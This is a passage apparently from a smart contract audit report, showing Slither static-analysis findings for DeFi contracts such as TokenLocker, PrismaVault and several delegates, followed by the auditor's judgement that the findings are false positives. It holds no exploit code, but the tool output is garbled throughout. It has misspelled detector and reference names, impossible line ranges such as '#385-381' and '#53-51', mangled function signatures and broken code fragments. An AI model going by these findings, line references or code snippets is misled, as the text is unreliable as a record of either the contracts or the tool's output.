- TokenLocker._freeze() (contracts/dao/TokenLocker.sol#750-759)
- TokenLocker._unfreeze(bool) (contracts/dao/TokenLocker.sol#750-759)
- TokenLocker.withdrawWithPenalty(address,uint256) (contracts/dao/TokenLocker.sol#802-998)
- TokenLocker._weeklyWeightedRate(address) (contracts/dao/TokenLocker.sol#1003-1062)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#unchecked-transfer
INFO:Dector:
TokenLocker._accountWeeklyLocks(address) (contracts/dao/TokenLocker.sol#808) is never initialized. It is used in:
- TokenLocker.withdrawWithPenalty(uint256) (contracts/dao/TokenLocker.sol#882-888) performs a multiplication on the result of a division:
- lockDecideAmount = (penaltyAmount + remaining) / lockToTokenRatio (contracts/dao/TokenLocker.sol#504-520)
- lockDecideAmount = (penaltyAmount + remaining) / lockToTokenRatio (contracts/dao/TokenLocker.sol#944-945)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#division-before-multiply
INFO:Dector:
TokenLocker._weeklyWeightedRate(address) (contracts/dao/TokenLocker.sol#1003-1062) uses a dangerous strict equality:
- systemWeek % 256 == 0 (contracts/dao/TokenLocker.sol#779)
TokenLocker._freeze() (contracts/dao/TokenLocker.sol#750-759) uses a dangerous strict equality:
- systemWeek % 256 == 0 (contracts/dao/TokenLocker.sol#779)
TokenLocker._getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294) uses a dangerous strict equality:
- bitfield & uint256(1) &lt; contracts/dao/TokenLocker.sol#269
TokenLocker._getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294) uses a dangerous strict equality:
- currentWeek % 256 == 0 (contracts/dao/TokenLocker.sol#274)
TokenLocker._getWithdrawalPenalty(address,uint256) (contracts/dao/TokenLocker.sol#305-381) uses a dangerous strict equality:
- remaining == 0 (contracts/dao/TokenLocker.sol#889)
- require(bool,string)(accountLockData.account).frozen == 0,Lock is frozen (contracts/dao/TokenLocker.sol#124)
TokenLocker._withdrawWithPenalty(uint256) (contracts/dao/TokenLocker.sol#882-998) uses a dangerous strict equality:
- lockToken.transfer(mg.sender,amount);if(remaining <= 0){lockToken.transfer(mg.sender,amount);return;} (contracts/dao/TokenLocker.sol#889)
TokenLocker._withdrawWithPenalty(uint256) (contracts/dao/TokenLocker.sol#882-998) uses a dangerous strict equality:
- bitfield >> (systemWeek % 256) & uint256(1) == 1 (contracts/dao/TokenLocker.sol#928)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#dangerous-strict-equalities
INFO:Dector:
Reentrancy in TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663):
External calls:
- transfer(prisnaCore.receiver(),lockToTokenRatio) (contracts/dao/TokenLocker.sol#645-649)
State variables written after the call(s):
- accountData.locked = uint256(accountData.locked + increasedAmount) (contracts/dao/TokenLocker.sol#658)
TokenLocker._accountLockData(address,uint256) (contracts/dao/TokenLocker.sol#889) can be used in cross function reentrances:
- TokenLocker._lockAddress(uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker._weeklyWeightedRate(address) (contracts/dao/TokenLocker.sol#1003-1062)
- TokenLocker._extendLock(uint256,uint256,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker._freeze() (contracts/dao/TokenLocker.sol#750-759)
- TokenLocker._getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker._getWithdrawalPenalty(uint256) (contracts/dao/TokenLocker.sol#305-381)
- TokenLocker._withdrawWithPenalty(uint256) (contracts/dao/TokenLocker.sol#882-998)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#reentrancy

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AUTOMATED TESTING

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- TokenLocker_getWithdrawableAmounts(address,uint256) (contracts/dao/TokenLocker.sol#385-381)
- TokenLocker_lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker_notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker_withdrawWithPenalty(address) (contracts/dao/TokenLocker.sol#847-862)
- TokenLocker_withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)
- TokenLocker_withdrawWithPenalty(address,uint128) (contracts/dao/TokenLocker.sol#882-998)
- accountWeights[uint16][account] (systemWeek) = uint40(account).unlockableRewardsPerUnit (contracts/dao/TokenLocker.sol#651-653)
- TokenLocker_lockMany(address,TokenLocker.LockData[]) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker_extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker_withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)

Reentrancy in TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839):
- IncentiveVoter_unfreeze(msg.sender,keepIncentivesVote) (contracts/dao/TokenLocker.sol#816)
State variable written after the call(s):
- _weeklyWeights[uint16][address] (contracts/dao/TokenLocker.sol#819)
- accountData.week = uint16(systemWeek) (contracts/dao/TokenLocker.sol#1028)
- accountData.unlock = uint32(accountData.unlock + unlocked) (contracts/dao/TokenLocker.sol#1058)
- accountData.week = uint16(accountData.unlock) (contracts/dao/TokenLocker.sol#1060)
- accountData.week = uint16(accountData.unlock) (contracts/dao/TokenLocker.sol#1066)

TokenLocker.accountLockData (contracts/dao/TokenLocker.sol#899) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getAccountActiveLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker_getAccountBalances(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)
- accountData.frozen = 0 (contracts/dao/TokenLocker.sol#825)

TokenLocker.accountLockData (contracts/dao/TokenLocker.sol#899) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getAccountActiveLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker_getAccountBalances(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839)
- TokenLocker.withdrawExplodedLocks(uint256) (contracts/dao/TokenLocker.sol#847-862)
- TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)

Reentrancy in TokenLocker.getAccountWeights(address,uint256) (contracts/dao/TokenLocker.sol#882-998):
- IncentiveVoter_clearRegisteredWeight(msg.sender) (contracts/dao/TokenLocker.sol#983)
State variable written after the call(s):
- accountWeights[uint16][address] (contracts/dao/TokenLocker.sol#898)

TokenLocker.accountLockData (contracts/dao/TokenLocker.sol#899) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getAccountActiveLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker_getAccountBalances(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839)
- TokenLocker.withdrawExplodedLocks(uint256) (contracts/dao/TokenLocker.sol#847-862)
- TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)

Reentrancy in TokenLocker.withdrawExplodedLocks(uint256) (contracts/dao/TokenLocker.sol#847-862):
- IncentiveVoter_clearRegisteredWeight(msg.sender) (contracts/dao/TokenLocker.sol#983)
- accountWeights[uint16][address] (contracts/dao/TokenLocker.sol#898)
- accountData.unlockableRewardsPerUnit[uint16][address] (contracts/dao/TokenLocker.sol#1024)
- accountData.unlockableRewardsPerUnit[uint16][address] / 256 - 1 = 0 (contracts/dao/TokenLocker.sol#1924)

TokenLocker.accountLockData (contracts/dao/TokenLocker.sol#899) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getAccountActiveLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker_getAccountBalances(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839)
- TokenLocker.withdrawExplodedLocks(uint256) (contracts/dao/TokenLocker.sol#847-862)
- TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)

Reentrancy in TokenLocker.withdrawWithPenalty(address,uint128) (contracts/dao/TokenLocker.sol#882-998):
- TokenLocker_accountWeights(address,uint256) (contracts/dao/TokenLocker.sol#883) can be used in cross function reentrances:
- TokenLocker_lock(address,uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker_weeklyWeights(address) (contracts/dao/TokenLocker.sol#103-1062)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[]) (contracts/dao/TokenLocker.sol#531-584)
- TokenLocker.extendMany(TokenLocker.ExtendLockData[],1) (contracts/dao/TokenLocker.sol#672-741)
- TokenLocker_freeze() (contracts/dao/TokenLocker.sol#750-793)
- TokenLocker_getAccountActiveLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294)
- TokenLocker_getAccountBalances(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker_getPendingRewards(address,uint128) (contracts/dao/TokenLocker.sol#280-284)
- TokenLocker_getPendingRewards(address,uint128,uint256) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker.notFrozen(address) (contracts/dao/TokenLocker.sol#123-126)
- TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839)
- TokenLocker.withdrawExplodedLocks(uint256) (contracts/dao/TokenLocker.sol#847-862)
- TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998)

Reference: https://github.com/crytic/slither/wlkt/detector--Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
TokenLocker_weeklyWeights[uint16][address].unlock (contracts/dao/TokenLocker.sol#103) is a local variable never initialized
TokenLocker.withdrawWithPenalty(uint128).increasedHeight (contracts/dao/TokenLocker.sol#914) is a local variable never initialized
TokenLocker.withdrawExplodedLocks(uint256).lockToken (contracts/dao/TokenLocker.sol#847) is a local variable never initialized
TokenLocker.withdrawWithPenalty(uint128).penaltyTotal (contracts/dao/TokenLocker.sol#913) is a local variable never initialized
Reference: https://github.com/crytic/slither/wlkt/detector--Documentation#uninitialized-local-variables
INFO:Detectors:
TokenLocker_weeklyWeights[uint16][address].unlock (contracts/dao/TokenLocker.sol#103-0) ignores return value by lockToken.transferToLocker(msg.sender, amount * lockToTokenRatio) (contracts/dao/TokenLocker.sol#474)
TokenLocker.lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663) ignores return value by lockToken.transferToLocker(msg.sender,increasedAmount * lockToTokenRatio) (contracts/dao/TokenLocker.sol#468)
TokenLocker.unfreeze(bool) (contracts/dao/TokenLocker.sol#809-839) ignores return value by IncentiveVoter.unfreeze(msg.sender,keepIncentivesVote) (contracts/dao/TokenLocker.sol#8816)
TokenLocker.withdrawWithPenalty(uint128) (contracts/dao/TokenLocker.sol#882-998) ignores return value by IncentiveVoter.clearRegisteredWeight(msg.sender) (contracts/dao/TokenLocker.sol#980)
Reference: https://github.com/crytic/slither/wlkt/detector--Documentation#unused-return

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- PrismaVault.setInitialParameters(IEmisionSchedule,IBoostCalculator,uint256,uint64,uint128[]).PrismaVault.InitialAllowance[] (contracts/dao/Vault.sol#140-182)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
PrismaVault._transferAllocated(uint256,address,address,address,uint256).delegatedCallback (contracts/dao/Vault.sol#458) is a local variable never initialized
PrismaVault._allocateTotalWeekly(IFractionschedule,uint256).lock (contracts/dao/Vault.sol#299) is a local variable never initialized
PrismaVault._transferAllocated(uint256,address,address,address,uint256).fee (contracts/dao/Vault.sol#457) is a local variable never initialized
PrismaVault.claimableRewardsAfterBoost(address,address,address,IRewards).fee (contracts/dao/Vault.sol#578) is a local variable never initialized
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#uninitialized-local-variable
INFO:Detectors:
PrismaVault._constructor(address,IPrismToken,ITokenLock,ILiquidationschedule,IBoostCalculator,uint256,uint128[],PrismaVault.InitialAllowance[]) (contracts/dao/Vault.sol#120-138) ignores return value by voter.registerNewReceiver() (contracts/dao/Vault.sol#135)
PrismaVault._transferAllocated(IFractionschedule,uint256).delegatedCallback (contracts/dao/Vault.sol#458) ignores return value by prismaToken.mintToVault(totalSupply) (contracts/dao/Vault.sol#123)
PrismaVault._setInitialParameters(IEmisionSchedule,IBoostCalculator,uint256,uint64,uint128[]).PrismaVault.InitialAllowance[] (contracts/dao/Vault.sol#140-182) ignores return value by prismaToken.increaseAllowance(receiver,amount) (contracts/dao/Vault.sol#172)
PrismaVault._registerReceiver(address,uint256).mint (contracts/dao/Vault.sol#191-209) ignores return value by IEmisionReceiver(receiver).notifyRegisteredId(assignedIds) (contracts/dao/Vault.sol#206)
PrismaVault._transferLock(address,address,uint256) (contracts/dao/Vault.sol#532-558) ignores return value by locker.lock(receiver,lockAmount,lockWeeks) (contracts/dao/Vault.sol#548)
PrismaVault.getClaimableWithBoost(address) (contracts/dao/Vault.sol#653-665) ignores return value by boostcalculator.getClaimableWithBoost(claimant,previousAmount,totalWeekly) (contracts/dao/Vault.sol#659-664)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unused-return

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• TroveManagerGetters.sol

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INFO:Detectors:
TroveManagerGetters._getAllCollateralsAndTroveManagers().collateralCount (contracts/core/helpers/TroveManagerGetters.sol#35) is a local variable never initialized
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#uninitialized-local-variables

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• WrappedLendingCollateral.sol

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INFO:Detectors:
WrappedLendingCollateral._burnToAddress(uint256) (contracts/external/WrappedLendingCollateral.sol#6-75) performs a multiplication on the result of a division:
- percentageSupply = (amount * 1e18) / (totalSupply) (contracts/external/WrappedLendingCollateral.sol#69)
- amount = (amount * 1e18) / (percentageSupply) (contracts/external/WrappedLendingCollateral.sol#71)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#division-multiplication
INFO:Detectors:
WrappedLendingCollateral._constructor(string,string,ILendingPool,IERC20,address) (contracts/external/WrappedLendingCollateral.sol#25-45) ignores return value by aToken.approve(address(_pool),type(uint256).max)
(WrappedLendingCollateral._constructor(string,string,ILendingPool,IERC20,address)) (contracts/external/WrappedLendingCollateral.sol#25-45) ignores return value by IERC20(underlying).approve(address(_pool),type(uint256).max)
WrappedLendingCollateral._mint(uint256) (contracts/external/WrappedLendingCollateral.sol#44) ignores return value by pool.withdrawAddress(underlying),aTokensToRedeem,to (contracts/external/WrappedLendingCollateral.sol#74)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unused-return

```

• ERC20Delegate.sol

```

INFO:Detectors:
BaseDelegate._adjustTrove(uint256,uint256,uint256,uint256,uint256,uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#6-94) ignores return value by debt.transferFrom(msg.sender,address(this))
BaseDelegate._debtChange((contracts/external/delegates/BaseDelegate.sol#80)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#96-108) ignores return value by debt.transferFrom(msg.sender,address(this))_debt - tn.DEBT_GAS_COMPENSATION() (contracts/external/delegates/BaseDelegate.sol#101-105)
ERC20Delegate._mint(uint256) (contracts/external/delegates/ERC20Delegate.sol#21-25) ignores return value by underlying.transfer(to,amt) (contracts/external/delegates/ERC20Delegate.sol#27)
ERC20Delegate._flushAddress() (contracts/external/delegates/ERC20Delegate.sol#26-33) ignores return value by debt.transferTo(balDebt) (contracts/external/delegates/ERC20Delegate.sol#31)
ERC20Delegate._flushAddress() (contracts/external/delegates/ERC20Delegate.sol#26-33) ignores return value by underlying.transfer(to,balUnderlying) (contracts/external/delegates/ERC20Delegate.sol#32)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unchecked-transfer
INFO:Detectors:
Contract locking either found:
- Contract ERC20Delegate (contracts/external/delegates/ERC20Delegate.sol#7-30) has payable functions:
  - BaseDelegate._adjustTrove(uint256,uint256,uint256,uint256,uint256,uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#44-46)
  - BaseDelegate._adjustTrove(uint256,uint256,uint256,uint256,uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#66-94)
But does not have a function to withdraw the ether
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#that-lock-ether
INFO:Detectors:
BaseDelegate._constructor(IBorrowOperations,IWrappedLendingCollateral,TroveManager,IERC20) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by collateral.approve(address(b0),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,uint256,uint256,uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by collateral.approve(address(bn),type(uint256).max)
BaseDelegate._constructor(IBorrowOperations,IWrappedLendingCollateral,TroveManager,IERC20) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by debt.approve(address(b0,debtToken()),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by debt.approve(address(bn,debtToken()),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#101-105)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#101-105) ignores return value by (_debt) = tn.getTroveCollAndDebt(ns,spender) (contracts/external/delegates/BaseDelegate.sol#101-105)
ERC20BnLogic._constructor(IBorrowOperations,IWrappedLendingCollateral,TroveManager,IERC20,IERC20) (contracts/external/delegates/ERC20Delegate.sol#10-19) ignores return value by underlying.approve(address(collateral),type(uint256).max) (contracts/external/delegates/ERC20Delegate.sol#10-19)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unused-return

```

• WETHDelegate.sol

```

INFO:Detectors:
WETHDelegate._flush(address) (contracts/external/delegates/WETHDelegate.sol#53-51) sends eth to arbitrary user
  - dangerous calls:
    - (callSuccess) == toCallValue(address(this).balance) () (contracts/external/delegates/WETHDelegate.sol#46)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations
INFO:Detectors:
BaseDelegate._adjustTrove(uint256,uint256,uint256,uint256,uint256,uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#6-94) ignores return value by debt.transferFrom(msg.sender,address(this))
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#96-108) ignores return value by debt.transferFrom(msg.sender,address(this))_debt - tn.DEBT_GAS_COMPENSATION() (contracts/external/delegates/BaseDelegate.sol#101-105)
BaseDelegate._constructor(IBorrowOperations,IWrappedLendingCollateral,TroveManager,IERC20) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by collateral.approve(address(b0),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by collateral.approve(address(bn),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by debt.approve(address(b0,debtToken()),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#16-30) ignores return value by debt.approve(address(bn,debtToken()),type(uint256).max)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#101-105)
BaseDelegate._closeTrove(uint256,uint256,bytes) (contracts/external/delegates/BaseDelegate.sol#101-105) ignores return value by (_debt) = tn.getTroveCollAndDebt(ns,spender) (contracts/external/delegates/BaseDelegate.sol#101-105)
WETHDelegate._constructor(IBorrowOperations,IWrappedLendingCollateral,TroveManager,IERC20,WETH) (contracts/external/delegates/WETHDelegate.sol#11-20) ignores return value by weth.approve(address(collateral),type(uint256).max) (contracts/external/delegates/WETHDelegate.sol#11-20)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unused-return

```

• PriceFeed.sol

```

INFO:Detectors:
PriceFeed._fetchFeedResponses(IAggregatorV3Interface) (contracts/core/PriceFeed.sol#71-288) uses a dangerous strict equality:
  - priceRecord.lastUpdated == model.lastUpdated (contracts/core/PriceFeed.sol#71)
PriceFeed.fetchPrice(Address) (contracts/core/PriceFeed.sol#180-221) uses a dangerous strict equality:
  - priceRecord.lastUpdated == 0 (contracts/core/PriceFeed.sol#187)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#dangerous-strict-equalities
INFO:Detectors:
PriceFeed._fetchCurrentRoundData(IAggregatorV3Interface) (contracts/core/PriceFeed.sol#390-409) ignores return value by (roundid,answer,timestamp) = _priceAggregator.latestRoundData() (contracts/core/PriceFeed.sol#393-397)
PriceFeed._fetchPrevResponse(IAggregatorV3Interface,uint80) (contracts/core/PriceFeed.sol#411-432) ignores return value by (roundid,answer,timestamp) = _priceAggregator.getRoundData(_currentRoundId - 1) (contracts/core/PriceFeed.sol#419-430)
Reference: https://github.com/cryptic/slither/wikit/Detector-Documentation#unused-return

```

- All the reentrancies, arbitrary transferFroms and unchecked transfers were checked individually and were considered false positives.
- The uninitialized state variables are also false positives.
- No major issues were found by Slither.

